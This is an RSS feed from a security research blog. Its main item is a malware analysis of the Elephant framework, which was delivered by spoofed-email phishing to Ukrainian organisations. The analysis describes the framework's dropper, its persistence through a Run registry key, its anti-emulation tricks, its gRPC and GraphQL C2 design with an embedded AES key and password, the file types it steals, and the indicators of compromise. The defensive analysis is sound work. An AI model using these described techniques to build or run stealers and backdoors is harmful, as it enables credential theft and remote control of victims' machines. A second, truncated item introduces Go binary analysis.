<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Intezer Research – Go</title><link>https://research.intezer.com/tags/go/</link><description>Recent content in Go on Intezer Research</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Mon, 04 Apr 2022 00:00:00 +0000</lastBuildDate><atom:link href="https://research.intezer.com/tags/go/index.xml" rel="self" type="application/rss+xml"/><item><title>Elephant Framework Delivered in Phishing Attacks Against Ukrainian Organizations</title><link>https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/</link><pubDate>Mon, 04 Apr 2022 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/</guid><description>
&lt;p&gt;A recently developed malware framework called Elephant is being delivered in
targeted spear phishing campaigns using spoofed Ukrainian governmental email
addresses. The four malware components delivered are used for stealing
credentials, documents, and to provide remote access to the infected machine.&lt;/p&gt;
&lt;p&gt;Two of these components were first reported on by the Computer Emergency
Response Team for Ukraine (CERT-UA) in March 2022. They named the two
components GraphSteel and GrimPlant. When investigating these events, we have
identified that Elephant has also been delivered via phishing emails from
spoofed Ukrainian email addresses. Elephant is a malware framework written in
Go. The activity has been attributed to UAC-0056 (TA471, SaintBear, UNC2589) by
CERT-UA.&lt;/p&gt;
&lt;h2&gt;Background&lt;span class="hx:absolute hx:-mt-20" id="background"&gt;&lt;/span&gt;
&lt;a href="#background" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;On March 12, the CERT-UA
&lt;a href="https://cert.gov.ua/article/37704"target="_blank" rel="noopener"&gt;published an alert&lt;/a&gt; on a threat about
phishing emails sent on behalf of state bodies of Ukraine that urged the
recievers to update the system by using a link provided in the email. Once the
user opens the link two files are downloaded, one is Cobalt Strike Beacon the
other is a dropper that will download and execute two additional files. These
additional files are base64 encoded, the files saved as:
&lt;code&gt;microsoft-cortana.exe&lt;/code&gt; (classified as GraphSteel) and &lt;code&gt;oracle-java.exe&lt;/code&gt;
(GrimPlant backdoor). The attack used Discord as a hosting server for the
additional payload that was downloaded.&lt;/p&gt;
&lt;p&gt;On March 15, SentinelOne
&lt;a href="https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/"target="_blank" rel="noopener"&gt;found&lt;/a&gt;
two more samples of the GraphSteel and GrimPlant malware families. These
samples written in Go were dropped by an executable that was disguised as a
translation application. The new samples are similar to those published by the
CERT-UA, both in the naming and the functionality.&lt;/p&gt;
&lt;p&gt;On March 28, CERT-UA published
&lt;a href="https://cert.gov.ua/article/38374"target="_blank" rel="noopener"&gt;another alert&lt;/a&gt; about phishing emails with
an attached &amp;ldquo;xls&amp;rdquo; file. The subject of the email and the file name are both
&amp;ldquo;Wage arrear&amp;rdquo;. The attached file had macros that, once executed, created a file
called &lt;code&gt;Base-Update.exe&lt;/code&gt; – a malware that downloads and executes two other
files classified as GraphSteel and GrimPlant by the CERT.&lt;/p&gt;
&lt;h2&gt;Phishing Email&lt;span class="hx:absolute hx:-mt-20" id="phishing-email"&gt;&lt;/span&gt;
&lt;a href="#phishing-email" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;The subject of the email: Заборгованість по зарплаті (arrears in wages).&lt;/li&gt;
&lt;li&gt;The email was sent from &lt;code&gt;zam@mdfi.gov.ua&lt;/code&gt; to &lt;code&gt;ilenko@gng.com.ua&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The sender domain &lt;code&gt;mdfi.gov.ua&lt;/code&gt; belongs to the Mykolayiv Regional
Phytosanitary Laboratory.&lt;/li&gt;
&lt;li&gt;The
&lt;a href="https://uhmi.org.ua/eng/conf/entln/list_of_participants/#:~:text=ilenko%40gng.com.ua%20ilenko%40gng.com.ua%2028.%20vyacheslav%20petrovych%20tretyak%2C%20head%20of%20department%20of%20technical%20supply"target="_blank" rel="noopener"&gt;receiver&lt;/a&gt;
is the Head of Department of Technical Supply in
&lt;a href="https://www.okko-group.com.ua/en/companies/okko"target="_blank" rel="noopener"&gt;OKKO Group&lt;/a&gt;, one of the
largest filling stations in Ukraine, this person is in charge of the gas
stations chain.&lt;/li&gt;
&lt;li&gt;Based on the headers of the email: the email was sent from &lt;code&gt;87.249.139.161&lt;/code&gt;
(hosting web server located in Turkey).&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Return-Path: &amp;lt;zam@mdfi.gov.ua&amp;gt;
Received: from hosting30.ukrnames.com (hosting30.ukrnames.com [217.182.197.11])
by mx-fm0.gng.com.ua with ESMTP id 22RJjl16017368-22RJjl18017368
(version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO)
for &amp;lt;ilenko@gng.com.ua&amp;gt;; Sun, 27 Mar 2022 22:45:47 &amp;#43;0300
Received: from [87.249.139.161] (port=15731 helo=WIN3ISR1T95E6Qwwwtendawificom)
by hosting30.ukrnames.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.95)
(envelope-from &amp;lt;zam@mdfi.gov.ua&amp;gt;)
id 1nYYot-00AQaf-Gj
for ilenko@gng.com.ua;
Sun, 27 Mar 2022 22:45:47 &amp;#43;0300
MIME-Version: 1.0
From: &amp;#34;zam@mdfi.gov.ua&amp;#34; &amp;lt;zam@mdfi.gov.ua&amp;gt;
Reply-To: zam@mdfi.gov.ua
To: ilenko@gng.com.ua
...
X-Mailer: Smart_Send_4_4_2
Date: Sun, 27 Mar 2022 12:44:30 -0700
Message-ID: &amp;lt;127804766552081718123841@WIN-3ISR1T95E6Q&amp;gt;
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - hosting30.ukrnames.com
X-AntiAbuse: Original Domain - gng.com.ua
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - mdfi.gov.ua
X-Get-Message-Sender-Via: hosting30.ukrnames.com: authenticated_id: zam@mdfi.gov.ua
X-Authenticated-Sender: hosting30.ukrnames.com: zam@mdfi.gov.ua
X-Source:
X-Source-Args:
X-Source-Dir:
X-FE-Attachment-Name: =?UTF-8?B?x&amp;#43;Dh7vDj7uLg7bPx8vwg7&amp;#43;4g5&amp;#43;Dw7&amp;#43;vg8rMueGxz?=
X-FEAS-SBL: 87.249.139.161 score 1
X-FE-Policy-ID: 2:1:4:gng.com.ua
X-FE-Orig-Env-Rcpt: ilenko@gng.com.ua
X-FE-Orig-Env-From: zam@mdfi.gov.ua
X-FEAS-Client-IP: 217.182.197.11&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;While reviewing the email&amp;rsquo;s transport path, we noticed that the domain
&lt;code&gt;mdfi.gov.ua&lt;/code&gt; did not have a configured SPF record to prevent email spoofing.
An SPF record is used to restrict which IP addresses are allowed to send emails
for a specific domain. If this record is not set, any IP address is technically
allowed to send emails using that domain name. Some email providers do warn
when they receive an email from an address that doesn&amp;rsquo;t have an SPF record. The
screenshot below shows the warning message displayed in GMail when reading such
email.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Our theory is that the threat actor exploited this vulnerability to send
spoofed phishing emails to their targets. We reported the issue to CERT-UA.&lt;/p&gt;
&lt;p&gt;We
&lt;a href="https://www.virustotal.com/gui/ip-address/87.249.139.161/relations"target="_blank" rel="noopener"&gt;followed&lt;/a&gt;
the sender IP address and found three other emails: two emails submitted on
March 29 from Ukraine targeting ICTV, a Ukrainian TV channel and the third
email was submitted in February from Romania. The emails that target UA have
the same subject and use the same attached xls file that delivers the first
malicious payload.&lt;/p&gt;
&lt;h2&gt;The Elephant Framework&lt;span class="hx:absolute hx:-mt-20" id="the-elephant-framework"&gt;&lt;/span&gt;
&lt;a href="#the-elephant-framework" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The malware that is dropped by the phishing lure is the dropper component of
what we call the &amp;ldquo;Elephant Framework.&amp;rdquo; The framework consists of four
components that work in unison. The code snippet below shows a reconstruction
of the source code tree, bold indicating folders, showing how the different
components have been organized. The location of the implant&amp;rsquo;s entrypoint is
unknown and has been guessed to be in the root folder. As there are also server
components to the framework, we hypothesize that there are more folders for the
two servers used by the framework.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h3&gt;Dropper Component&lt;span class="hx:absolute hx:-mt-20" id="dropper-component"&gt;&lt;/span&gt;
&lt;a href="#dropper-component" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;While called the dropper in the framework, this component does not have an
embedded payload. Instead it is technically a downloader that fetches the next
stage called the &amp;ldquo;downloader.&amp;rdquo; The next stage is downloaded from the URL
&lt;code&gt;hxxp://194.31.98.124:443/i&lt;/code&gt; and saved to the user&amp;rsquo;s home directory
(&lt;code&gt;%HOME%/.java-sdk/java-sdk.exe&lt;/code&gt;). The next stage is executed with the command
line flag &lt;code&gt;-a 0CyCcrhI/6B5wKE8XLOd+w==&lt;/code&gt;, base64 and AES encrypted information
about the C2 server.&lt;/p&gt;
&lt;h3&gt;Downloader Component&lt;span class="hx:absolute hx:-mt-20" id="downloader-component"&gt;&lt;/span&gt;
&lt;a href="#downloader-component" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &amp;ldquo;downloader&amp;rdquo; acts as an orchestrator for the other components. In addition
to downloading the &amp;ldquo;client&amp;rdquo; and the &amp;ldquo;implant&amp;rdquo; components, it also sets up
persistence and can perform updates. Like all the other components, before any
malicious activity is taken it performs some evasion techniques. The difference
between this component and the others is that this one is using code from the
&lt;a href="https://github.com/redcode-labs/Coldfire"target="_blank" rel="noopener"&gt;ColdFire project on GitHub&lt;/a&gt;. The
screenshot below shows the malware using the &lt;code&gt;Wait&lt;/code&gt; function to sleep for 10
seconds before allocating 200 mb of garbage data.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Persistence is established by adding a new key entry with the name &lt;code&gt;Java-3DK&lt;/code&gt;
to the registry key &lt;code&gt;Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt;. After this,
the malware checks if a new binary exists by comparing its MD5 hash with a hash
from the server. If no update is needed, it downloads the other two components.&lt;/p&gt;
&lt;p&gt;The downloader has some 3rd party libraries, whose metadata are listed in the
binary, that are not used. All the 3rd party libraries are listed in the code
snippet below. In the list for example &lt;code&gt;port-scanner&lt;/code&gt;, &lt;code&gt;gopacket&lt;/code&gt;, and
&lt;code&gt;gateway&lt;/code&gt; packages are not being used. These are all libraries to facilitate
lateral movement. It is not clear if these are left-overs from an older version
of the malware or hints of future functionality.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;github.com/anvie/port-scanner v0.0.0-20180225151059-8159197d3770
github.com/dustin/go-humanize v1.0.0
github.com/fatih/color v1.10.0
github.com/google/gopacket v1.1.19
github.com/google/gopacket/layers v1.1.19
github.com/google/gopacket/pcap v1.1.19
github.com/jackpal/gateway v1.0.7
github.com/jcmturner/aescts v2.0.0&amp;#43;incompatible
github.com/mattn/go-colorable v0.1.8
github.com/mattn/go-isatty v0.0.12
github.com/minio/minio/pkg/disk v0.0.0-20210213070509-a94a9c37faf5
github.com/mitchellh/go-ps v1.0.0
github.com/redcode-labs/ColdFire v0.0.0-20210118141151-d4d62410b029
github.com/savaki/jq v0.0.0-20161209013833-0e6baecebbf8
github.com/savaki/jq/scanner v0.0.0-20161209013833-0e6baecebbf8
golang.org/x/sys/windows v0.0.0-20210119212857-b64e53b001e4
golang.org/x/sys/windows/registry v0.0.0-20210119212857-b64e53b001e4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig4.png" title="Analysis of the Elephant downloader (https://analyze.intezer.com/files/8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Analysis of the Elephant downloader (https://analyze.intezer.com/files/8ffe7f2eeb0cbfbe158b77bbff3e0055d2ef7138f481b4fac8ade6bfb9b2b0a1)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Implant Component (GrimPlant)&lt;span class="hx:absolute hx:-mt-20" id="implant-component-grimplant"&gt;&lt;/span&gt;
&lt;a href="#implant-component-grimplant" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;GrimPlant is a backdoor that allows the operator to execute arbitrary
PowerShell scripts on the infected machine. The backdoor has a relatively small
set of functionality, for example it doesn&amp;rsquo;t have any persistence functionality
on its own. When the malware first is executed, it allocates 200 mb and sleeps
for 10 seconds, the function shown in the screenshot below. This is an
anti-emulation technique that has been found in other malware written in Go.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The Command and Control (C2) address is not included in the binary. Instead it
is passed in to the malware via the command line flag &lt;code&gt;-addr&lt;/code&gt;. The address is
not provided as a plain string. Instead it has been encrypted with AES in
Cipher-Block Chaining (CBC) mode. The malware decrypts the string with the
embedded key
(&lt;code&gt;f1d21960d8eb2fddf2538d29a5fd50b5f64a3f9bf06f2a3c4c950438c9a7f78e&lt;/code&gt;) and a null
IV. The port used by the C2 server is hardcoded to port 80.&lt;/p&gt;
&lt;p&gt;GrimPlant communicates with the C2 server over gRPC. The communication is
encrypted with TLS. The malware has an embedded root certificate that it uses
to verify that it talks to a trusted server. The code snippet shows parts of
the root certificate information. The certificate used by the C2 server has
been signed by this root certificate which allows the threat actor to rotate
the certificate without redeploying a new malware.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Version: 3 (0x2)
Serial Number:
6d:56:93:aa:f3:9d:b1:f7:15:4e:39:64:77:9c:7e:d0:d4:cf:f6:3e
Signature Algorithm: sha256WithRSAEncryption
Issuer: C = FR, ST = Occitanie, L = Toulouse, O = O, OU = E, CN = *.a.com, emailAddress = a@mail.com
Validity
Not Before: Mar 20 15:21:06 2022 GMT
Not After : Mar 20 15:21:06 2023 GMT
Subject: C = FR, ST = Occitanie, L = Toulouse, O = O, OU = E, CN = *.a.com, emailAddress = a@mail.com
SHA1 Fingerprint=DC:A9:5B:DC:F0:53:55:73:7A:A6:79:85:43:F6:3E:7C:23:07:36:33&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There are only a handful of gRPC &amp;ldquo;methods&amp;rdquo; supported by the malware. A
reconstructed protobuf specification is shown in the code snippet below. To
identify which instance of the malware is sending the request to the C2 server,
the malware uses its machine ID as an unique identifier in the messages. When
the malware first connects to the C2 server, it authenticates itself with the
password &lt;code&gt;sdrunlygvhwbcaeiuklgunvre&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After a successful authentication, it sends a heartbeat message every 10
seconds. This message includes information about the infected machine: public
IP address, hostname, username, etc. In addition to the heartbeat message, the
malware starts the &amp;ldquo;command&amp;rdquo; loop that checks for new commands to execute every
3 seconds. If a command is received it executes it by spawning a PowerShell
instance by executing
&lt;code&gt;%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;/code&gt; and returns the
result to the C2 server.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;service Implant {
rpc FetchCommand(FetchCmdRequest) returns FetchCmdResponse {}
rpc Heartbeat(stream HeartbeatRequest) returns (stream Empty) {}
rpc Login(ImplantLoginRequest) returns ImplantLoginResponse {}
rpc SendCmdOutput(SendCmdRequest) returns SendCmdResponse {}
}
message FetchCmdRequest {
string id = 1;
}
message FetchCmdResponse {
string adminId = 1;
bytes cmdText = 2;
}
message HeartbeatRequest {
string id = 1;
bytes sysInfo = 2;
}
message ImplantLoginRequest {
string id = 1;
bytes sysInfo = 2;
string password = 3;
}
message ImplantLoginResponse {
string token = 1;
}
message SendCmdRequest {
string adminId = 1;
bytes output = 2;
bytes error = 3;
}
message SendCmdResponse {}
message Empty {}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Client Component (GraphSteel)&lt;span class="hx:absolute hx:-mt-20" id="client-component-graphsteel"&gt;&lt;/span&gt;
&lt;a href="#client-component-graphsteel" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The &amp;ldquo;client&amp;rdquo; component is a credential and file stealer. It communicates with
the C2 server over WebSockets to a GraphQL endpoint. All the messages are
encrypted with AES. The key is received from the C2 server. The malware author
has written their own RSA implementation for the key exchange that is used to
receive the shared secret. All messages prior to the key exchange, including
the key exchange itself, are encrypted with AES using a hardcoded key.&lt;/p&gt;
&lt;p&gt;The credentials on the machine are stolen using code lifted from
&lt;a href="https://github.com/kerbyj/goLazagne"target="_blank" rel="noopener"&gt;goLazagne&lt;/a&gt;. In addition to stealing
credentials, the malware will look in the user&amp;rsquo;s &lt;code&gt;Documents&lt;/code&gt;, &lt;code&gt;Downloads&lt;/code&gt;,
&lt;code&gt;Pictures&lt;/code&gt;, and &lt;code&gt;Desktop&lt;/code&gt; folder for files with the file-extensions listed in
the snippet below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;.key, .crt, .json, .csv, .7z, .rar, .zip, .ssh, .ovpn, .pptx, .xlsx, .docx, .ppt, .xls,
.doc, .txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If it finds a file with a matching file extension, it generates the MD5 hash
for the file and checks with the C2 server if the file has already been
uploaded. If it hasn&amp;rsquo;t, the file is uploaded to the C2 server.&lt;/p&gt;
&lt;h2&gt;Infrastructure&lt;span class="hx:absolute hx:-mt-20" id="infrastructure"&gt;&lt;/span&gt;
&lt;a href="#infrastructure" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Using the embedded CA certificate in the malware, we uncovered older service
certificates and IP addresses. The oldest certificate we discovered had a
validity date of &amp;ldquo;not before&amp;rdquo; December 9th, 2021. The IP address of the server
where this certificate was served from is owned by the Russian hosting provider
Zservers and still returned Elephant components as of April 2022. The
components retrieved from the server are very similar to the samples used at
the end of March. The other hosting providers used by the threat actor are PQ
Hosting and Serverion.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2022/04/elephant-malware-targeting-ukrainian-orgs/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The threat actor has chosen to sprinkle some French connections within their
infrastructure. The certificates use French location information and the domain
name &lt;code&gt;forkscenter[.]fr&lt;/code&gt;. We don&amp;rsquo;t know if the decision to name it Elephant is a
nod to
&lt;a href="https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope"target="_blank" rel="noopener"&gt;Babar&lt;/a&gt;,
an espionage software attributed to a French intelligence agency, or intended
as a &amp;ldquo;false flag.&amp;rdquo;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;UAC-0056 (TA471, SaintBear, UNC2589) started using a new malware framework
called Elephant back in December 2021. The malware has been delivered in
targeted spear phishing campaigns using spoofed Ukrainian governmental email
addresses. The malware consists of at least four different components that are
used for stealing credentials, documents, and to provide remote access to the
infected machine. The threat actor has opted to use multiple protocols for C2
communication, gRPC and GraphQL over websockets. This is an interesting choice
as it complicates the development of the framework with more code to maintain.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;span class="hx:absolute hx:-mt-20" id="indicators-of-compromise"&gt;&lt;/span&gt;
&lt;a href="#indicators-of-compromise" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;194.31.98.124 - C2 address used by the malware
87.249.139.161 - IP address that was used for sending the emails
IP addresses used in previous campaigns.
91.242.229.35
45.84.0.116
80.66.76.187
Original Email 3c2022fea48b52326f9eec4c1c84f10b
xls da305627acf63792acb02afaf83d94d1
Base-update.exe 06124da5b4d6ef31dbfd7a6094fc52a6
Java-sdk 36ff9ec87c458d6d76b2afbd5120dfae
oracle-java 4a5de4784a6005aa8a19fb0889f1947a
Microsoft-cortana 6b413beb61e46241481f556bb5cdb69c
Samples from oldest server found
8e0eb1742b47745ff73389673996e964
cbc0e802b7134e1d02df1f2eb1b1d1e2
628f41776ae3b2e8343eeb9cdcd019f2
More Emails linked to the same sender IP
C7051e88ae43c1bd4b869cf18280ec5e
40b42005e9cfc5ea2a7cfc1ced975cbb
Fbe3cb4dfce740c3728c459b853e4249 (email submitted and target Romania)
Paths
%HOME%\AppData\Local\Temp\Base-Update.exe
%HOME%\.java-sdk&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>All Your Go Binaries are Belong to Us</title><link>https://research.intezer.com/blog/2021/12/all-your-go-binaries-are-belong-to-us/</link><pubDate>Thu, 02 Dec 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/12/all-your-go-binaries-are-belong-to-us/</guid><description>
&lt;p&gt;The skillset of performing binary analysis may to some appear to be limited to
a few undeadly souls. While it may look like a form of dark arts when someone
can read data structures in a raw hex dump, it shouldn&amp;rsquo;t even qualify as a
party trick. To quote
&lt;a href="https://twitter.com/lizthedeveloper/status/1431039239249178627"target="_blank" rel="noopener"&gt;@BizTheDeveloper&amp;rsquo;s mother&lt;/a&gt;,
&amp;ldquo;…reading a hex dump is not that hard…&amp;rdquo; Now, the goal of this post is not to
turn the reader into a hex dump magician. Instead, I want to show that binary
analysis is all about data parsing. If you are a Go developer and are not
interested in the analysis of Go binaries, this post will still have something
for you. Did you know that &amp;ldquo;Go binary analysts&amp;rdquo; know if you organize your
source code neatly or just dump everything into one file? In this post, we will
see how we can extract some of the available hidden metadata in the binaries
produced by the Go compiler. With the extracted data, we will see a few use
cases including how it can be used to determine if the application uses a
vulnerable dependency. The goal is to be able to perform this on &amp;ldquo;production
builds&amp;rdquo; so we are targeting support for stripped binaries. This means we can&amp;rsquo;t
depend on debug information or symbols that normally are included in binaries
produced by the compiler. This may look like something we would need but in
